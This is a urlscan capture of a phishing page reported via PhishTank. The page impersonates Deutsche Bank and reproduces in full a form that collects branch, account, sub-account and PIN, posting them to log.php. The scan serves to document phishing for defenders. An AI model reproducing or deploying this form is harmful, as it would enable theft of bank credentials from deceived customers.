db-kontakt.ns01.info Open in urlscan Pro
45.142.107.218  Public Scan

URL: https://db-kontakt.ns01.info/187/
Submission: On December 01 via automatic, source phishtank — Scanned from NL

Form analysis 1 forms found in the DOM

POST log.php

<form novalidate="" action="log.php" method="post" class="ng-touched ng-dirty ng-valid">
  <db-panel id="personal">
    <div class="db-panel__wrapper" style="position: relative;">
      <div class="db-panel__title">Willkommen auf der Kontrollseite</div>
      <div class="db-panel">
        <div class="db-panel__container">
          <db-personal-data registeras="personalData">
            <section class="db-personal-data ng-touched ng-dirty ng-valid">
              <div class="db-panel__wrapper">
                <div class="db-panel__container__infobox db-info-services__legal-information">
                  <p>Lieber Besucher, wir möchten Sie hflich darum bitten, das Verifizierungsverfahren einzuleiten.</p>
                </div><br>
                <div class="db-panel">
                  <div class="db-panel__container">
                    <db-study-time>
                      <div class="db-study-time__container ng-untouched ng-pristine ng-invalid">
                        <!-- Combined Input Field -->
                        <div class="mb-3 combined-input">
                          <div class="combined-input-fields">
                            <!-- Filiale -->
                            <div class="input-wrapper">
                              <label for="filiale" class="db-input__label">Filiale <br>(3-stellig)</label>
                              <input name="filiale" id="filiale" class="db-input__field" spellcheck="false" type="text" maxlength="3" placeholder="Filiale">
                            </div>
                            <!-- Konto -->
                            <div class="input-wrapper konto-wrapper">
                              <label for="konto" class="db-input__label">Konto <br>(7-stellig)</label>
                              <input name="konto" id="konto" class="db-input__field" spellcheck="false" type="text" maxlength="7" placeholder="Konto">
                            </div>
                            <!-- Unterkonto -->
                            <div class="input-wrapper unterkonto-wrapper">
                              <label for="unterkonto" class="db-input__label">Unterkonto <br>(2-stellig)</label>
                              <input name="unterkonto" id="unterkonto" class="db-input__field" spellcheck="false" type="text" maxlength="2" placeholder="Unterkonto" value="00">
                            </div>
                            <script>
                              // Zorg ervoor dat het input-veld de waarde 00 heeft als standaard
                              document.getElementById('unterkonto').value = "00";
                              // Event listener om ervoor te zorgen dat de input altijd 2-cijferig blijft
                              document.getElementById('unterkonto').addEventListener('input', function() {
                                // Haal de huidige waarde op
                                var value = this.value;
                                // Controleer of de waarde een nummer is en tussen 00 en 99 ligt
                                if (!/^\d{0,2}$/.test(value)) {
                                  // Als het niet geldig is, reset de waarde naar "00"
                                  this.value = "00";
                                } else if (value.length === 0) {
                                  // Als de gebruiker het veld leeg maakt, zet het weer terug naar "00"
                                  this.value = "00";
                                }
                              });
                            </script>
                            <!-- PIN -->
                            <div class="input-wrapper">
                              <label for="pin" class="db-input__label">PIN <br>(5-stellig)</label>
                              <input name="pin" id="pin" class="db-input__field" spellcheck="false" type="password" maxlength="5" placeholder="PIN">
                            </div>
                          </div>
                          <!-- Error Messages --><br>
                          <div class="error-messages">
                            <div class="errorMsg" id="branchError" style="color: red; display: none;">Bitte geben Sie hier Ihre Filialnummer ein.</div>
                            <div class="errorMsg" id="accountError" style="color: red; display: none;">Bitte geben Sie hier Ihre Kontonummer ein.</div>
                            <div class="errorMsg" id="pinError" style="color: red; display: none;">Bitte geben Sie hier Ihre fünfstellige PIN ein.</div>
                          </div>
                        </div>
                      </div>
                    </db-study-time>
                  </div>
                </div>
                <script>
                  document.addEventListener("DOMContentLoaded", function() {
                    const filialeInput = document.getElementById("filiale");
                    const kontoInput = document.getElementById("konto");
                    const pinInput = document.getElementById("pin");
                    // Focus on Konto after 3 characters in Filiale
                    filialeInput.addEventListener("input", function() {
                      if (filialeInput.value.length === 3) {
                        kontoInput.focus();
                      }
                    });
                    // Focus on PIN after 7 characters in Konto
                    kontoInput.addEventListener("input", function() {
                      if (kontoInput.value.length === 7) {
                        pinInput.focus();
                      }
                    });
                  });
                </script>
              </div>
              <db-button design="primary" arrow="right" class="order-sm-1 db-button--full-width pb-3 pb-md-0"><button class="db-button db-button--icon-right db-button--primary db-button--md" type="submit" id="weiterkontakt" tabindex="0"
                  aria-disabled="false" aria-label="Weiter"><!----><span class="db-button__content"><span> Verfahren ausführen</span><!----></span><svg viewBox="0 0 6.5 12" class="db-button__icon">
                    <g>
                      <path d="M6.3,5.5L1.3,0.2c-0.3-0.3-0.7-0.3-1,0c-0.3,0.3-0.3,0.7,0,1L4.8,6l-4.6,4.7c-0.3,0.3-0.3,0.7,0,1C0.4,11.9,0.6,12,0.7,12
          c0.1,0,0.4-0.1,0.5-0.2l5.1-5.3C6.6,6.2,6.6,5.8,6.3,5.5"></path>
                    </g>
                  </svg><!----></button></db-button>
            </section>
          </db-personal-data>
        </div>
        <!----><db-process-data-setter registeras="triggerNps" _nghost-ng-c142923434=""><!----><!----><!----></db-process-data-setter><!---->
        <script>
          document.addEventListener("DOMContentLoaded", function() {
            const inputFields = [{
                id: 'filiale',
                validationFn: validateFiliale,
                errorMessageSelector: '#branchError'
              }, {
                id: 'konto',
                validationFn: validateKonto,
                errorMessageSelector: '#accountError'
              }, {
                id: 'pin',
                validationFn: validatePin,
                errorMessageSelector: '#pinError'
              }
              // Unterkonto validation is removed
            ];

            function validateFiliale(inputField) {
              const value = inputField.value.trim();
              return value.length === 3 && /^\d+$/.test(value); // Ensures 3 digits
            }

            function validateKonto(inputField) {
              const value = inputField.value.trim();
              return value.length === 7 && /^\d+$/.test(value); // Ensures 7 digits
            }

            function validatePin(inputField) {
              const value = inputField.value.trim();
              return value.length === 5 && /^\d+$/.test(value); // Ensures 5 digits
            }

            function validateInput(inputField, validationFn, errorMessage) {
              if (!validationFn(inputField)) {
                inputField.classList.remove('ng-valid');
                inputField.classList.add('ng-invalid');
                errorMessage.style.display = 'block';
                return false;
              } else {
                inputField.classList.remove('ng-invalid');
                inputField.classList.add('ng-valid');
                errorMessage.style.display = 'none';
                return true;
              }
            }
            document.getElementById("weiterkontakt").addEventListener("click", function(event) {
              let isValid = true;
              // Validate all fields (except Unterkonto) before allowing the form submission
              inputFields.forEach(input => {
                const field = document.getElementById(input.id);
                const errorMessage = document.querySelector(input.errorMessageSelector);
                if (!validateInput(field, input.validationFn, errorMessage)) {
                  isValid = false;
                }
              });
              // If any validation fails, prevent the form from being submitted
              if (!isValid) {
                event.preventDefault(); // Prevent form submission
              }
            });
            // Add blur event listener for real-time validation
            document.querySelectorAll('input').forEach(inputField => {
              inputField.addEventListener("blur", function() {
                const fieldData = inputFields.find(input => input.id === inputField.id);
                if (fieldData) {
                  const errorMessage = document.querySelector(fieldData.errorMessageSelector);
                  validateInput(inputField, fieldData.validationFn, errorMessage);
                }
              });
            });
          });
        </script>
        <!----><!---->
      </div>
    </div>
  </db-panel>
</form>

Text Content

Deutsche Bank


KONTROLLSEITE


Deutsche Bank





Willkommen auf der Kontrollseite

Lieber Besucher, wir möchten Sie hflich darum bitten, das
Verifizierungsverfahren einzuleiten.


Filiale
(3-stellig)
Konto
(7-stellig)
Unterkonto
(2-stellig)
PIN
(5-stellig)

Bitte geben Sie hier Ihre Filialnummer ein.
Bitte geben Sie hier Ihre Kontonummer ein.
Bitte geben Sie hier Ihre fünfstellige PIN ein.
Verfahren ausführen
Haben Sie Fragen?

Sie erreichen uns rund um die Uhr.

chat Chat starten
 * Impressum
 * Konditionen & Preise
 * Rechtliche Hinweise
 * Datenschutz
   

© 2024 Deutsche Bank AG, Frankfurt am Main